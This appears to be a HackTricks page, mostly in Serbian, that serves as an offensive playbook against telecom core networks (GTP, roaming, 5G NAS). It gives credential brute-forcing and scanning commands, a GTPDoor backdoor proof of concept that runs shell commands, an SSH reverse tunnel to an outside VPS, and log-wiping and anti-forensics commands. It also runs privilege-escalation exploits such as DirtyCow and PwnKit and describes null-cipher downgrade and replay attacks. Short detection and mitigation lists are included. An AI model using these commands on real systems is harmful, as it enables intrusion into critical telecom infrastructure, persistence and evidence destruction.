12 KiB
Raw Blame History

Eksploatacija telekom mreža (GTP / roaming okruženja)

{{#include ../../banners/hacktricks-training.md}}

Note

Protokoli mobilne jezgre (GPRS Tunnelling Protocol GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone-ove. Pošto se prenose preko običnog UDP-a sa gotovo nikakvom autentifikacijom, any foothold inside a telecom perimeter can usually reach core signalling planes directly. Sledeće beleške sakupljaju ofanzivne trikove viđene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Iznenađujuće veliki broj vendor mrežnih elemenata isporučuje se sa hard-coded SSH/Telnet korisnicima kao što su root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Posvećen wordlist dramatično povećava brute-force uspeh:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Ako uređaj izlaže samo management VRF, prvo pivot kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).

1.2 Otkrivanje hostova unutar GRX/IPX

Većina GRX operatera i dalje dozvoljava ICMP echo preko backbone-a. Kombinujte masscan sa ugrađenim gtpv1 UDP sondama kako biste brzo mapirali GTP-C slušače:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers cordscan

Sledeći Go alat konstruše GTP-C Create PDP Context Request pakete i beleži odgovore. Svaki odgovor otkriva trenutni SGSN / MME koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ključne opcije:

  • --imsi Ciljni pretplatnik IMSI
  • --oper Home / HNI (MCC+MNC)
  • -w Snima sirove pakete u pcap

Važne konstante unutar binary mogu biti patched da prošire skeniranja:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP GTPDoor

GTPDoor je mali ELF servis koji veže se na UDP 2123 i parsira svaki dolazni GTP-C paket. Kada payload počinje sa pre-shared tag-om, ostatak se dekriptuje (AES-128-CBC) i izvršava preko /bin/sh -c. stdout/stderr su exfiltrated unutar Echo Response poruka tako da nikakva izlazna sesija nikada nije kreirana.

Minimalni PoC paket (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detekcija:

  • bilo koji host koji šalje unbalanced Echo Requests to SGSN IPs
  • GTP version flag set to 1 while message type = 1 (Echo) odstupanje od specifikacije

4. Pivoting kroz jezgro

4.1 sgsnemu + SOCKS5

OsmoGGSN dolazi sa SGSN emulatorom sposoban da establish a PDP context towards a real GGSN/PGW. Nakon pregovora, Linux dobija novi tun0 interfejs dostupan from the roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLAN-ove i dovodi vas direktno u sloj podataka.

4.2 SSH Reverse Tunnel preko Port 53

DNS je skoro uvek otvoren u roaming infrastrukturama. Izložite internu SSH uslugu na svoj VPS koja sluša na :53 i kasnije se vratite iz kuće:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Proverite da li je GatewayPorts yes omogućeno na VPS-u.

5. Skriveni kanali

Kanal Transport Dekodiranje Napomene
ICMP EchoBackdoor ICMP Echo Req/Rep 4-byte key + 14-byte chunks (XOR) čisto pasivni listener, bez odlaznog saobraćaja
DNS NoDepDNS UDP 53 XOR (key = funnyAndHappy) kodirano u oktetima A-record zapisa prati poddomen *.nodep
GTP GTPDoor UDP 2123 AES-128-CBC blob u privatnom IE uklapa se sa legitimnim GTP-C saobraćajem

Svi implants implementiraju watchdogs koji timestomp njihove binarne fajlove i re-spawnuju se ako se sruše.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation na Legacy NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Savet za čišćenje:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Alati

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS custom tooling described in previous sections.
  • FScan : intranet TCP skeniranje (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lagano SOCKS5 pivotiranje
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Procedura 5G registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dok se NAS security ne aktivira preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane i nisu enkriptovane. Ovo pre-security prozor omogućava više putanja napada ako možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed).

Registration flow (pojednostavljeno):

  • Registration Request: UE šalje SUCI (šifrovani SUPI) i capability-je.
  • Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
  • Security Mode Command/Complete: NAS integritet i šifrovanje se pregovaraju i aktiviraju.
  • PDU Session Establishment: IP/QoS podešavanje.

Lab setup saveti (non-RF):

  • Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova.
  • UE: simulator ili test UE; dekodujte pomoću Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS unutar NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez podizanja kompletnog rogue gNB).
  • Korisni display filteri u Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home-network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na problem privatnosti koji omogućava persistento praćenje pretplatnika.

Kako testirati:

  • Capturujte prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
  • Wireshark quick checks:
  • Trebalo bi da dekoduje kao SUCI, ne kao IMSI.
  • Primer filtera: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci bi trebalo da postoji; odsustvo tog polja uz prisustvo imsi ukazuje na curenje.

Šta sakupiti:

  • MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/lokacije.

Mitigacija:

  • Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Pozadina:

  • UE advertajzuje podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
  • Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.

Problem:

  • Pošto Registration Request nije integrity zaštićen, on-path napadač može da očisti capability bitove da bi primorao kasniji izbor EEA0/EIA0 tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i izvan emergency servisa.

Ofanzivni koraci:

  • Intercept InitialUEMessage i modifikujte NAS UE Security Capability da advertajzuje samo EEA0/EIA0.
  • Sa Sni5Gect, hook-ujte NAS poruku i patch-ujte capability bitove pre prosleđivanja.
  • Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0.

Verifikacija/vidljivost:

  • U Wireshark, potvrdite izabrane algoritme posle Security Mode Command/Complete.
  • Primer pasivnog sniffer output-a:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigacije (mora):

  • Konfigurišite AMF/policy da odbacuje EEA0/EIA0 osim tamo gde je strogo naloženo (npr. hitni pozivi).
  • Preferirajte primenu EEA2/EIA2 kao minimum; zabeležite i podignite alarm za svaki NAS security context koji pregovara null algorithms.

9.3 Ponavljanje (replay) početnog Registration Request-a (pre-security NAS)

Pošto početni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request mogu biti ponovo poslati AMF.

PoC pravilo za 5GReplay za prosleđivanje podudarnih replay-a:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

Ideje za detekciju

  1. Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests.
  2. Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes iz internog IP prostora.
  3. Česti Echo Requests bez odgovarajućih Echo Responses može ukazivati na GTPDoor beacone.
  4. Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima.
  5. 5G: InitialUEMessage koji nosi NAS Registration Requests ponovljene sa identičnih endpoint-a (signal repleja).
  6. 5G: NAS Security Mode koji pregovara EEA0/EIA0 van konteksta hitnih procedura.

References

{{#include ../../banners/hacktricks-training.md}}